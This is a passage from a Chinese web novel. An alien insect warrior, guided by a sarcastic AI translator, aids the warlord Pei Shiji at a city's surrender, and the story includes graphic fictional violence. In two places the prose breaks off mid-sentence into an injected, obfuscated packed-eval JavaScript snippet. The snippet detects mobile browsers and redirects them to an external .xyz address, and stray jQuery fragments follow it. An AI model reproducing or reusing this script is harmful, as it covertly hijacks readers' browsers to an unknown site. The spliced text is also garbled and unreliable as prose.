严学礼是裴府的贵客,旁人享受不到的待遇他可以拥有,就比如让裴时济那位艳名远播的娘亲献舞,他至今仍记得裴府堂前那曼妙身姿,轻灵如蝶舞,绯艳似晚霞,再之后他没有见过哪一个舞姬能跳出那一夜的风情。
他甚至动过把她要过来的心思,可那终究只是个上不得台面的乐姬,又已为人母,除了裴钰这种浪荡半生的王孙公子,哪个正经人家敢把她迎回府中?
严学礼不敢,所以只能在老眼昏聩时痴痴地盯着鸳鸯楼中旋舞的身影,不屑地撇撇嘴,感慨一句:
“不如当年啊...”
宋隐还要附和,可屁滚尿流冲进来的家仆妨碍了他,那人跑的衣冠不整,进门就开始号丧:
“老爷!打进来了!”
“玄铁军进城了!!!”
只一秒的凝滞,丝竹不响了,旋舞也停了,严学礼和宋隐的脸上出现大段空白,等楼里人跑了半空,才撑起发软的脊梁骨,目眦欲裂地看着报信的家仆,齐声吼道:
“宋闰成呢?!”
“我兄长呢!?”
......
李清打进蔚城时,根本没遇到像样的守军,说到底还是占了时差的便宜。
裴时济的反应快过所有人,第一时间判断局势逆转,第一时间收拢己方溃兵,第一时间组织反击,又第一时间让他带奇兵连夜占据蔚城。
如果说这场奇迹由天降神兵开启,那奇迹的延续则由裴时济缔造。
李清征战这么多年,顺风仗打过,逆风仗也打过,但这种攻守双方都措不及防,像两群被撵着狂奔的鸭子,还没有一只鸭子敢说知道自己在干什么的仗,还是破天荒头一回。
前一秒他抱着玉碎的决心要和主公共存亡,后一秒就被踢着屁股往蔚城撵,奔赴敌军大本营——其实他连战场的具体情况都没看清,那道雷响后,敌阵突然就像镰刀割过的稻草,呼啦啦迎风倒。
他还是从路上俘虏的溃兵嘴里、同僚往来的传书中拼凑出当时的全貌,但哪怕拼出来了,他也觉得不可思议。
整顿蔚城并不难,腰杆再硬的豪族,在玄铁军面前也放不出一个响屁,一些阳奉阴违都该打打该杀杀,来头太大不好杀的就先关起来等主公过来处理,他经验丰富,不觉得难,难的是挨过抓心挠肝的分分秒秒——
什么天人,什么祥瑞,什么武曲星?
当时他舞的什么神兵?穿的什么战甲?用的什么招式?怎么就在千万人之中第一时间锁定了宋闰成?
那厮怕死,跟只老王八一样,从来不往前冲,帅旗在那么老后面,他是怎么杀将过去的?
这些要紧的东西,传书里面竟只字不提,杜隆兰那满肚子酸话的腐儒也就罢了,庞甲、张贺、武荆这些老兄弟呢?!
识的字都还给先生了吗?也不写两个让他瞅瞅!
为此,他进城后除了日常防务,就是往营中请旨,询问何日进城受降,等啊盼啊终于盼到了——就在今日。
....
雌虫局促地拽了拽身上的银甲,皱着眉四处看了看,没有看到阁下。
“人就穿这个打仗?有什么用?”
这东西又脆又软,他得非常小心才能不扯坏精致的锁扣,但不留神的时候还是捏扁了一角零碎,惊得为他着甲的兵卒骇然失声,扑通一下趴在地上,哆嗦的像患了羊癫疯。
【人打仗不穿这个,你没发现整个营地就你穿这个吗?】
这套明光铠昂贵非常,绝对不是日常消耗品,普通甲士哪里穿的起,只有主将。
“阁下也穿这个。”雌虫唇角微翘,对方一身玄黑铠甲,样式和他身上的大差不差,一样的叮叮当当,中看不中用,见对方看过来,他立即整肃表情,暗暗改口:
“济川也穿这个。”
【...】
“全天下也就你能把这套赤鳞明光铠穿出这种气势。”
这身赤鳞铠和他相得益彰,衬得他宽肩阔背身形挺拔,甲胄下胸膛隆起,肌肉虬结,麦色的肌理在阳光下显出一种金蜜色的光泽,如同浴光的战神,五官深邃,长眉斜飞入鬓,那道斜贯眉骨的伤疤平添了几分煞气。
裴时济满意地拍了拍他的肩膀,他还看见了他刚刚翘起的嘴角,所以——
“喜欢吗?”
这句话不用智脑翻译了,它正好摆烂,从开机到现在,哪一次虫主不比工厂里扒皮催命的监工更苛刻,它的机芯已无波澜,就算听见他说:
“喜欢。”在一个晚上的努力后,他已经熟练掌握了几个常用词语的发音,这个就是其中之一。
多亏了裴姓人族
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510098|186154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不厌其烦地问他喜不喜欢这个,喜不喜欢那个...
【你刚刚还问这玩意儿有什么用。】
“让济川开心就是它最大的作用。”雌虫面不改色,丝毫不觉得自己的话有多么惹人误解,智脑沉默片刻:
【你应该好好学学当地语言了。】
它不想继续夹在他们中间做牵线拉桥的僚机,这虫如果还记得,它其实是个异星开拓系统,而不是异性开拓系统——现在更进一步了,异种开拓系统。
“我有这个计划,我需要一个...老师。”
说着,他目光灼灼地看向裴时济。
【你又一次颠覆了我对C级雌虫的刻板印象,你真的很会占便宜。】
“怎么了?”裴时济下意识摸了摸脸,他脸上有什么吗?
“我想,学,你的语言。”雌虫满脸认真。
裴时济莞尔:“当然好。”
然后引着他走到乌风面前:“这匹马你来骑...孤..我会为你找一个好老师。”
“是,你的语言。”雌虫仍盯着他。
裴时济讶然,双眼微微睁大,这不是一般的依赖了——说不清惊喜还是苦恼,最终还是纵容地点点头,笑的有些无奈:
“好啊。”
雌虫心满意足地看向那匹黑马,眼睛里的笑意退潮,如果智脑没有翻译错,他之后的动作应该是跨上去,压住这匹马。
“我没有骑过任何活物。”
【是的是的,考虑到你悲惨的身世,你甚至没有骑过任何死物。】智脑无不叹息。
“如果你的数据库不是空空如也,你该知道我曾是个中将。”雌虫啧了一声,有些不满。
【但你依旧没有尝试任何坐骑,你打仗从来不需要它们。】
“...我怕上去把它压死了。”雌虫终于说出自己的忐忑:“我其实,会飞。”
【那就在这群和虫族一模一样的人类面前亮出你的翅膀吧,没有人会大惊小怪的,他们都有一双隐形的翅膀。】智脑凉飕飕道。
见他没有动,裴时济这才意识到:
“没有骑过?”
雌虫看过来,眼神有些为难。
“来,我教你,乌风很温顺...”事实上,它简直瑟瑟发抖,在雌虫面前不安地刨地,试图远离。
裴时济让人拽住乌风的辔头,指着马镫和马鞍:“踩着这里上去,坐稳,我们不会跑快,进城之前我会让人牵住你的马,放心,不会摔下来的。”
雌虫挣扎的时候,表情冷硬的像寒冰,让人见了退避三舍,其实是在心里问智脑:
“作为当地的重要载具,这只大型哺乳动物的最大负荷是多重?”
【单从质量来说,载你绰绰有余。】智脑意犹未尽。
雌虫如履薄冰,意思是还有质量以外的因素,他皱着眉看向裴时济:
“我很重。”
裴时济握住他的手,摇摇头,微笑着鼓励:“放心。”
雌虫叹了口气,如果阁下执意要的话,他拽过黑马的缰绳,抬脚踩上马镫,可身体还没上去呢——乌风长嘶不止,一阵急颤,马腿抖了抖没撑住,先跪了。
这匹久经沙场,虎豹面前都毫无惧色的战马在雌虫气息贴近的第一瞬间被本能压倒,栽倒在地,尘土飞扬。
所有人目瞪口呆,只有雌虫早有准备,叹了一声,把马从地上拽起来:
“我说了,我很重。”
“...这可能不是重的问题。”
裴时济眼神严峻地看着眼前一人一马,最后目光落在马身上:
可真给我长脸啊!
8.第 8 章
他们只得步行一阵,让乌风熟悉雌虫的气息,到城门口再上马进城。
裴时济陪他牵马走在队伍最前面,主帅步行,自然没有任何将领敢上马,速度一下就慢下来了。
好在没有人着急,还有闲情点评刚刚之所见:
“想当初乌风连老虎都敢踢。”
“我还记得,刚来的时候性子烈的不行,要不是主公勇武,差点就叫马贩子杀了。”
“怎么怂成那样,我看那眼珠子里都有泪珠子了。”
“怂蛋。”
“你上你也怂。”
“你能耐,你怎么不往前稍稍呢?”
文臣不加入这群老粗的骂仗,反正不管怎么开头,结果都是干仗,只是从以前的武斗变成嘴斗,说实话,还不如以前武斗呢,趴下一个眼睛耳朵都清净了。
以杜隆兰为首,他们正悄没声息地观察队伍前面并排走的两人。
裴公用人向来不拘小节,麾下将士,以前贩鱼的有,打柴的有,甚至奴隶之流的也有,山里海里混饭的,地上地下刨食的,应有尽有,多一个天上掉下来的,也不奇怪。
只是这天上掉下来的,终究和俗人不同,瞧裴公那嘘寒问暖的劲,可把这帮武将酸成腌菜了,想当年,裴时济也是这样解衣推食,与他们把臂同游,让他们死心塌地。
这之前还有人不服气,嚷着等“武曲”伤好后讨教讨教,看看这“祥瑞”够不够锐气,结果乌风这一遭后,讨教的声音没有了,那一张张比刀把子还硬的嘴都软了。
这帮刀口饮血的家伙都能软,这几个把事态瞧的门清的文士身姿更是软的像水,就是发愁怎么才能流到祥瑞大人跟前。
裴公把他把的也太密不透风了——
“他们是不是在说我坏话。”
雌虫听力了得,虽然听不懂,但身后叽叽歪歪一片,还是听得出点情绪。
【问你的济川啊。】仗着只剩百分之五的电量,智脑张嘴就是挤兑,故障了全怪充电效率低下。
雌虫不恼,他看得出他们速度慢成这样都是因为自己,这在帝国是不可想象的事情。
“怎么了?”裴时济也朝后边瞥了眼,拍了拍他的手臂,示意他不用管后边。
“他们,是不是怪我...”雌虫一只手牢牢拽着生无可恋的乌风,像拖着一个大型玩具,另一只手指指自己,又指指后面,抿了抿唇,低声道歉:
“对不起。”
他明明能一下子飞到目的地,却还压着大军的速度慢慢走。
裴时济嗤了一声,揽住他的肩膀,慢悠悠道:
“就算对不起,也是乌风对不起,关你什么事儿。”
乌风打了个响鼻,龇出一口白牙。
看得出阁下也很喜欢和他肢体接触,雌虫眯了眯眼,悄悄往搭在肩膀上的手臂瞟了一眼,努力压住嘴角,一本正经道:
“我其实...”
【有一双不隐形的翅膀!】智脑大声唱起来。
真讨嫌——雌虫撇嘴。
“不要有负担,此战之所以得胜全是靠你,你是最大的功臣,想骑马骑马,想走路走路,谁也不能啰嗦一句话。”
见他听得仔细,似是在认真甄别每个字的意思,裴时济一下子起了坏心思,唇靠近他的耳朵轻声道:
“即便要孤背着你过去也不是不行,当然,背地里悄悄的。”
雌虫耳根发烫,狭长的眼廓中满是迷茫,等了一会儿,又乍起波澜,一点惊愕透出来,很快收敛,他肃容道:
“你,主帅,不可以...”
裴时济哈哈笑起来,却听他继续道:
“我可以,背你。”
笑声哑然,他望过去,看见这人眼底碎金一样的涟漪,刚刚的忧虑荡然无存,心头蓦地一软,拉起他一只手,打开掌心,心情很好道:
“来,我教你几个字。”
雌虫赶紧凑过去:
“要,你的名字。”
“那你的名字呢?”
“我的名字,不好,要你的。”雌虫双目晶亮,裴时济逗弄的心思稍歇,轻声问道:
“怎么不好了?”
雌虫不明所以,皱了皱眉,又理所当然道:
“有很多...原弗维尔...这个名字,曾经属于很多...人。”
那只是没有任何意义的编号,出身一个街区的雌虫,上级甚至懒得给他们分一下一号二号,仿佛在他眼中,他们就是一群“原弗维尔”,以至于在这个街区消失,赛塔克星没落,他也记不清童年种种以后,这个代号更成了一种虚无。
他在这个音节里找不到自己。
甚至都不如智脑,它的制造者曾细心地把它和前1007个“异星开拓者”区分开,因为它是需要被长久使用的,它的制造者会担心找不到它。
对于这个事实,智脑也沉默了。
裴时济也沉默了一会儿,他虽然没有完全明白他的意思,却敏锐地闻出一种悲哀,尽管这人脸上没有难过的神色。
“你不喜欢这个名字。”
“说不出来...我喜欢你的名字。”雌虫坦率道,智脑为他解释过什么“时济”和“济川”的意思——
若济巨川,用汝作舟楫,若岁大旱,用汝作霖雨。
他虽然还不能完全理解,但能感觉到,这是很好的意思。
“好啊,我教你。”裴时济柔声道。
........
行到距蔚城门十里处,众将领翻身上马,乌风终于没有再掉链子,尽管仍能感受到畏惧和瑟缩,但在裴时济和那头凶兽的注视下,马腿终于听使唤了。
他们来的比预计的时间晚了一个时辰,李清在城门口已经等急,可受降仪式具备,他不敢擅离,脚边依次跪着严、宋、周、韩几个大族的家主,肉袒面缚,在寒风中止不住颤抖——蔚城主将死了,李清拿他们凑数,按财产规模和出资数量排序,首当其冲的就是严学礼。
他哪还有前几日在鸳鸯楼的风姿气度,刚被抓时还耿着脖子骂裴时济狼子野心,他绝不会与此等乱臣贼子同流合污云云,还要他执晚辈礼过来亲见他,否则就血溅当场,也不叫他遂意顺心!
李清当即就给他搬了块大石头让他赶紧溅,溅完他好搬去给下一个宁死不屈的。
严学礼瞪着那块和他等高的花岗岩足有一刻钟,终究还是没能撞上去,他也有自己一套说辞:洪庆帝驾崩许久,眼下京畿为阉宦把持,三年里皇帝都换了四个,当今是宗室子弟,年不过七岁,又不是先帝直系血脉,他受恩于先帝,自当报恩于先帝,苦守孤城十年,已是尽忠矣。
即便先帝在九泉之下,也责怪不了多少。
他说不上心安理得,毕竟话放的太早,众目睽睽下又得吃回去,实在叫人脸上无光,好在与他命运相连的宋、周两家族长劝服了他,这副有用之躯还得留待后日经世致用也,何至于轻言生死。
他面上过去了,此时跪的也端正了,就是蔫头耷脑,冷得不行,恨意也在寒风中潜滋暗长,论身份,他裴时济得唤他一声叔父,却目中无人至此,叫一个低级武官过来折辱他....
据说那厮不过一乡野破落户,沦落到沥阳拉纤,早已文墨不通大字不识,搁几年前,是靠近他严府大门都会被驱离的对象,而今放眼天下,除了裴时济,谁敢用此等粗鄙村夫,不愧是一丘之貉,蛇鼠一窝!
若叫这种人得了天下,岂不斯文扫地,呜呼哀哉!?
严学礼冷的心都寒透了,等待的仪仗队伍仍旧没到,狼心狗肺的贼子,是想叫他们冻死在这里吗?
“来了来了!是大王的队伍!”
李清听到亲兵的声音,扑到城墙上,远远的地方,玄底朱漆的“裴”字帅旗在风中猎猎作响,身穿玄甲的玄铁军如一片黑云,沉甸甸压过来,偏为首一抹亮色,仿佛霞光刺透乌云,绚烂夺目。
“开城门!”李清精神抖擞,大声喊道,然后匆匆下楼,只在路过严学礼几个的时候略顿了顿:
“看着他们点,可别在大王仪式前冻死了。”
严学礼冻得齿关咯咯作响,李清的亲兵见状有些为难:
“可要生一盆炭火?”
李清虎目圆瞪,骂道:“炭火不要钱啊!拿雪给他们搓搓就行,别死在今天就好。”
亲兵唯唯称是。
受降台前,李清率领众将士原地待命,广场中间密密麻麻跪着严、宋、周几家大族的家眷,为首几个老头赤着上身,双手被麻绳捆在身后,发白的发髻散乱,好在今日没有雨雪,万丈金阳洒下来,一切都亮亮堂堂,哪怕是呜呜咽咽的哭声也不显得凄楚。
李清激动的心情在看见乌风的时候达到顶点,那是主公的坐骑,于是策马迎上去,近了却发现不对,马背上是另一个陌生的面孔,那人摘下头盔,露出一张神武过人的英俊脸庞,眸光内敛,面无表情,只在侧头看向身旁时,露出一点波澜。
裴时济骑着另一匹千里宝驹,见李清过来,微微抬起下颌,李清从震惊中醒神,翻身下马,甲叶相击,清越如铃:
“末将李清,恭迎大王!”
声音落地,广场上数千将士齐刷刷跪地,朗声贺道:
“恭迎大王!”
裴时济露出一个矜贵的笑容,抬了抬手:
“李将军请起,众将士请起。”
“谢大王!”玄甲如浪,哗啦啦响成一片,很快又肃穆无声,李清让出主干道:
“请大王登受降台!”
“原,我们走。”
裴时济却偏头邀请那位骑了他坐骑的陌生将军,李清浑身一震,心里对这人的身份有了答案,实在没忍住,悄悄抬头瞟了一眼——
这就是,天人吗?
雌虫不懂这里的规矩,裴时济让走就走,让停就停,现在也是,见他下马,也跟着下马,还眼疾手快地拽住下意识想跑的乌风,没让仪式出岔子。
他跟着裴时济往前面的高台走去,路过一群不穿衣服的老头,还有他们身后哭哭啼啼的矮子——
他观察到其中不少穿着长裙,瘦弱得好像一阵风都能吹倒的...人,有些震惊,他原以为裴时济营帐中见到的人已经是最脆的了,可跟这群好像要被风吹折的小矮人比起来,那些居然已经是强者了吗?!
以至于他路过他们的时候都下意识屏住呼吸,生怕自己呼吸重了都会把她们的细腰吹断。
除此之外,受降仪式他看的津津
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511673|186154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有味,一时都忘了要尽量摆脱智脑帮助的宏愿,时不时问:
“他们在做什么?”
【如你所见,投降。】
“投降为什么要脱衣服?”
【因为丢人。】
“他们在念什么?”
【一些很浪费算力的投降申请。】意思是它不想翻译。
雌虫有些不满,决定晚一点问裴时济,这人现在是他的语言老师了,刚刚路上还教了他几个字,他其实一遍就记住怎么读写了,可还是假装没懂,哄他又在自己掌心描了好几次。
他对他的耐心似乎没有尽头,这让他心情愉悦。
仪式不算复杂,严学礼念完降表,裴时济宣布对他们的处置,驳回一些非分的请求,基本就算完毕,其余驻防、守将安排、百姓安抚之类的工作可以先按惯例进行,等他下来继续。
他打算先带他的祥瑞巡视蔚城,蔚城拿下后,京畿尽在眼前,此地经过严、宋几家几代经营,临山临河,经济发达物产丰富,有相当的底蕴,虽然目下戒严,城中禁止宴饮娱乐,但值得一去的地方仍旧不少——说是烟火繁华,北望京蔚,南顾苏扬。
他们赢得漂亮,对城体结构和百姓生活的影响都降到了最小,其中最大的功劳当属他的祥瑞。
可才下受降台,变故陡生,俘虏的眷属堆中忽的滚出一个人,素衣染血,灰头土脸,看着狼狈不堪,他跳将出来,速度快的离奇,一下子就冲到裴时济跟前,周围亲兵吓了一跳,长刀霎时出鞘,但赶不上他嘴皮子的速度:
“裴时济!尔等腌臜货色也配姓裴,你娘亲本是烟花柳巷倚门卖笑、陪酒侍宴的低贱舞姬,鸨母都唾弃三分的贱籍,那年攀了高枝,生下你这脏货,倒装起正经主子的模样?!
裴氏一门出了你这阴毒之徒,裴家列祖列宗泉下有知,恐将你扒皮拆骨,用你的血换的裴氏一门清白!你父可知你亲兄如何丧命?可知你如何丧尽天良,屠戮他裴家嫡系骨肉?贱婢生的竖子,天理不容的畜生,待叫老天长眼,让尔等尝尝凌迟碎剐之苦!”
众将刀兵出鞘,却无一人敢妄动,他们都叫这胆大包天的贼子震住了,他身后的眷属更是人人面色如土,抖若筛糠。
李清勃然色变,冷汗如注,抢过一把刀就要冲上去,却被裴时济叫住:
“慢。”
裴时济冷眼看着那人:“谁教你说的。”
“呸!还用人教?你裴时济恶贯满盈人尽皆知!”
他这话说了,就是不要命的意思,却也并非全然无惧,被裴时济看着,就已面如金纸,膝骨发软,视线不住往前面一个赤身老者身上瞟,硬生生挺在原地。
裴时济笑了:“真有意思...”
他视线扫向那几个跪的直哆嗦的老头,嘴角露出一抹嗜血的笑容:
“你姓严、姓宋、姓周...还是都姓?”
“要杀要剐冲我一个人来!”那人声音有了颤抖。
“他是个痴儿啊!!”眷属群里响起一个凄厉的声音,“他幼年高烧烧坏了脑子,万请大王不要和一个傻子计较!”
若不是痴傻,怎敢在众目睽睽下说出这样一番话,可若真是痴傻,又如何能够在众目睽睽中说出这样一番话。
人群乌泱泱跪了一地,包括为首的几个老头,也瑟瑟伏在冰冷的地面,但更冷的是他们的眼睛——
他们倒要看看,仁德仁义的雍都王受降以后第一件事,是不是杀光他们,还是因为傻子的一句话,大开杀戒。
杀降不祥。
众将面色一沉,他们被架住了。
“那家伙刚刚说了什么?”雌虫察觉气氛不对,问智脑。
智脑也兴奋起来:【他骂你的济川出身卑贱,坏事做绝,丧尽天良呢。】
雌虫一皱眉,智脑叽叽喳喳解释道:
【他骂他母亲,你就理解成他雌父,是个舞妓,骂他是家里的耻辱,哦还骂他杀了自己的兄弟...但主要攻击的还是他身份低贱,我也不懂啊,就是听起来骂的挺脏的。】
“他是位尊贵的阁下。”
雌虫拧眉强调——他给了他急需的精神抚慰,还有无尽的包容,对他近乎有求必应,天底下再没有比他更尊贵的阁下了。
【是啊是啊,但对方不这样看。】智脑随口附和。
雌虫眉眼冷凝,开口问裴时济:“这个人,可以杀吗?”
裴时济因为怒火发热的大脑恢复清明,回头一看,见那人眼中杀意沸腾。
裴时济眯了眯眼,轻笑一声:“可以呀。”
话音刚落,那人消失在原地,等所有人反应过来,就听见一声沉闷的轰响,下一瞬,血雨泼天——
几个老头呆呆地看了几秒,只看见那人手上拎着一个头,身体被脖颈处的皮肉挂着,晃晃悠悠,消失了大半。
他用的是脚,一脚下去,那消失的部分轰然碎成血泥,向四面八方炸开。
严学礼觉得脸上热热的,抬起颤抖的手摸了一下,黏腻中还带了些正在跳动的碎块,登的一下,整个人厥了过去。
受降台下死寂无声,只有雌虫低沉的声音,缓慢而坚定:
“你是全天下,最尊贵的人,这种话,我不喜欢听。”
9.第 9 章
这哪里是人力能办到的?
别说投降的俘虏,玄铁军自己都傻了,他们见过各种各样的尸体,千奇百状的死法,死亡早已撼动不了他们,但眼前这种真的是头一遭。
到底什么样的力量才能把人的身体踢成这样?
他们都是尸山血海中走出来的,正因为杀过人,才知道人体结构有多么坚固。
再好的兵刃与骨骼多撞几次,就会发脆、卷刃、变形,长剑飘逸,效率远不如匕首或者狼牙棒,人体的致命点很多,都是一代一代人慢慢试出来的,对于有家学渊源的人,有些知识根本不会外传。
一些粗糙的杀人手段还为人所不齿,刀劈斧凿,或者重锤击打,人体会变形、肢体会脱落,但要想彻底粉碎,得靠时间慢慢磨,那是笨功夫,没多少人乐意。
可这位...他们不知道该如何定义,那一脚下去,山都能踢裂吧?
这些杀惯了人的武将神经麻木片刻,直到被冲上去文官重新激活,那些家伙这样说:
“恭贺大王得天庇佑,此贼触犯天颜,罪该万死,业已伏诛!正所谓天威浩荡,神武昭昭,天人临凡,尽摧魑魅!雷霆之怒,摧枯拉朽,日月之辉,朗照河山!
此战大捷,此城既复,非将士独勇,更是我王恩泽四海之功感召昊天,臣等不胜惶恐,惟愿吾王福泽绵长,旌旗所指尽荡八荒,龙威所至靖定山河!”
杜隆兰不愧是杜隆兰,那么瘦的一副身板,能喊出千军万马的气势,脸涨得通红,完全不怕爆血管,他这一嗓子嚎完,身后其他文官呼啦啦跟着伏倒,齐声颂道:
“惟愿吾王福泽绵长,旌旗所指尽荡八荒,龙威所至靖定山河!”
哎呀妈呀,这还等什么?
李清几个不敢呆滞了,赶紧跟着趴下,充分发挥武将中气十足的优势,喊得震天响:
“吾王福泽绵长,旌旗所指尽荡八荒,龙威所至靖定山河!”
他们这一跪,端的气势磅礴,密密麻麻的玄铁军单膝触地,甲胄相击撞出一片铁铸的潮声,声如洪涛,齐颂王恩——
霎时间,整个广场,除了裴时济和雌虫,再没有任何直挺挺的生物。
“他们又在说什么?”
【啊,一些很无聊的话,你不要学。】智脑兴致缺缺。
“济川看起来有些高兴。”雌虫有点想学。
【这就高兴了,那他应该一直都是个挺高兴的人。】
雌虫本能地想要反驳,但又不知道从何驳起,只得冷声冷气道:
“早晚把你的情绪模块删掉。”
【尊敬的虫主,对人类这种脆弱的生物来说,保持心情愉悦是件好事!心血管舒张、内分泌调和都需要情绪辅助,我在夸他!】智脑的谄媚浮夸又虚伪。
雌虫恼怒,但心神很快被勾走,裴时济在不远处唤他:
“原,你过来。”
他刚刚还思考要不要把手上的脑袋送给他,又觉得这血糊糊的东西可能弄脏他光洁的铠甲,现在不用犹豫了,听到他的声音,他神色稍缓,循声走过去。
那一幕其实相当悚怖,高大魁梧的甲士扯断脖颈的血肉,提着滴滴答答淌血的头颅,在一群恐惧到极点的羊羔面前留下一条血河,多少人今日过后将被噩梦缠身。
裴时济不这么觉得,臣属那番话固然是动听的,却比不上原弗维尔只言片语,他很清楚此时心头涌动的愉悦源于何处,眼眸因此柔亮,身体仿佛沐浴在暖阳里,周身气息也变得温和。
怪物——
蔚城曾经的主人们不知道该用这个词形容谁,是那个□□实力强悍的男人,亦或者驯服了他的雍都王?
他们颤抖的目光顺着那条血河看过去,河流尽头立着的或许才是真正的魔鬼,他竟然还在笑——
裴时济笑着把住那个怪物,牵着他走到几位族长面前,虽然昏了一个严学礼,但没昏过去的还剩几个。
他居高临下看着两眼无神的宋氏家主:
“劳请宋公替孤之锐士拭履。”
锐士?
宋云年过半百,自诩见多识广,城府深沉,自以为普天之下再没多少事情可以动摇他的心智,但现在依旧忍不住目眩——严宋周三家同气连枝,严学礼都昏了,他醒着干嘛?
宋云呆呆地盯着深到眼皮底下的战靴,想到上面猩红的血肉曾经的归属,呼吸骤然不畅,两眼翻白,在意识即将陷入黑暗前,脑袋顶上冰冷的声音警告说:
“宋公不乐意吗?”
言语朴素,也非厉声威胁,可就这么轻飘飘几个字竟有着手成春之效。
宋云的晕厥症状生生止住了,硬挺挺地撑大双眼,抬起颤抖不止的手,用袖子擦掉那双战靴上附着的血肉碎块。
雌虫不自在地动了动,宋云骤然一僵,惊惶地抬起头,浑浊的眼中已有水光。
雌虫不动了,裴时济握住了他的手,比以往更近的是,这回十指交扣,亲昵得让他也僵硬成一个木头虫,可这人毫无所觉一般,直勾勾盯着身前的老头,直到他将鞋子彻底擦干净。
然后又把眼睛转向另一个瑟瑟颤抖的老者:
“周公可愿替他拭甲?”
那老头砰砰磕了几个响头,一言不发膝行过来,同样颤巍巍地用袖子替他擦拭甲胄下摆的血污,他断不敢站起来擦胸甲和肩甲上的血迹,最后只得卑微地抬起眼,祈求地看着裴时济。
裴时济这才大发慈悲地抬了抬手,露出菩萨一样悲悯的笑容:
“让周公劳累了。”
“不敢,不敢!谢大王...恩德!”他说都后面,声音都有些哽咽。
【你真是个听话的吉祥物。】智脑无精打采地点评。
雌虫皱皱眉,但很快舒展开,裴时济正用不知道从哪拿到的软巾替他擦脸,有些无奈地嗔怪:
“下次小心别沾到脸上,丢了吧。”
他说的是他手上的脑袋,雌虫依言把它往人堆里一甩,立竿见影地撞出一片尖叫,他们分海似的露出一块白地,但很快又被填上,细细的呜咽被压到最低,微不可闻。
雌虫不解这番行径的用意,但让做就做了,智脑没说错,他的确听话——但不是吉祥物。
这事儿了毕后,他下来悄悄问裴时济:
“他们又不会擦,为什么让擦?”笨手笨脚的,抖得像帕金森晚期。
彼时裴时济带他出了城,登上城郊鱼泉山,在山顶俯瞰全城。
他们身着常服,只带些许扈从,留武荆随侍,提着食盒、酒酿,状若寻常好友结伴出游。
武荆跟着裴时济的时间不算长,却已位任中郎将,忠勇善战,生性勤谨寡言,军中多粗莽武卒,他是难得多思善虑的武将。
他不远不近地缀在两人身后,若是往常,他应该随侍左右,可现在——他想不出有哪个胆大包天的贼人能越过那位“天人”对大王行凶,也想不到如果贼人真的做得到,他自己又能起什么作用,于是就乖巧当了个摆饰,顺便观察一下“天人”的状况。
因为才发生的事情,城中气氛紧张,戒严加强,主要防备几大家族,虽然对百姓的生活没有过多干扰,但城防交接,城池易主,城中出行的人不多,没什么民情能看,他们索性就出了城,既能勘察地貌,也顺便找个风景好的地方野餐。
几人都不惧寒风,很快就攀到山顶,在一个破败的凉亭驻留,亭子里石桌石凳积了厚灰,一时清扫的清扫,扎营的扎营,生火的生火,忙的不可开交。
亭中安排妥当,武荆在亭外安排其他事宜,却被裴时济叫进来同坐,进些酒菜,一坐下,就听到“天人”的问题。
他表情有些古怪,但更古怪的还是裴公的回答:
“那让他们多练练,以后你的铠甲就交给他们刷洗。”
雌虫想了想,摇头:“你不喜欢他们,为什么不杀了他们。”
裴时济给他斟酒夹菜,听见这话忍不住愣了,看着他,目光有些感慨,又有些犹豫,终于还是笑叹道:
“我观你言行,虽还没有确定,但大抵也是杀人的行当,你觉得杀人是为了什么?”
武荆惊诧地看了眼他,又看了眼“天人”,他沉思的时间有些长了,但裴公似乎很习惯,自顾自给他碗中添菜:
“尝尝珍宝楼的八宝鸭,说多少人往来蔚城为的就是这一口鸭子。”
“天人”先是生涩地动了动面前的筷子,仔细看着裴公的动作,学了片刻也就会了,他把那根鸭腿连着骨头嚼进去,眉头一直没有松开,吃完诚实地摇摇头:
“我不知道。”杀就是杀,帝国只下命令,帝国从不解释,或许有,但也不会对他。
“那件神物没说清楚吗?”
“我不想听它的。”
【哼!下次催我翻译的时候希望你能够现在的观点!】
“杀人是为了震慑,既然你那一击效果十足,多余的血就不用流了,至于严、宋、周几个老头,畏威而不怀德,当然得叫他们多长长记性。”
裴时济有些无奈:
“我也不能随心所欲杀人。”
雌虫眼神认真:“我帮你杀。”
裴时济哈哈一笑,拍了拍他的手背:
“这些世家子虽然讨厌,但还有用,有时候我也不得不忍着恶心依赖他们。”
“我...”
裴时济止住他的话头:
“我需要的不是一座战战兢兢的蔚城,也不是一个战战兢兢的天下,世代经营不是玩笑,城里城外,户籍造册、田亩数量、粮食生产、经贸往来、赋税徭役,都在他们手里,即便我攻下了这座城,能够换人去接管这些工作,但问题是,我没有那么多人。”
“外来人不清楚内部情况,要想彻底拿下这座城,非治国良才难以胜任,即便有了良才,没有这些大族的配合也寸步难行,大户多有隐田,人口又依附于田地,交到明面上来的造册都是哄小孩的,所谓流水的官员铁打的豪族,他们都在等我离开蔚城,日子照样该怎么过怎么过。”
“我不可能杀光他们,那差不多就杀光了这座城里九成识字会算的人,杀戮过多,也可能让许多摇摆的人心背我,那我拿下的就是一座空城...
我本来想把杜先生留下,想想又有点舍不得,但这次因为你,事情变得好办许多...与其留一堆尸体,不如留一堆吓破胆的活人,让给什么给什么...”
他说着自己都忍不住笑起来,武荆却食不知味,放下筷子:
“属下惭愧,不能为主公分忧。”
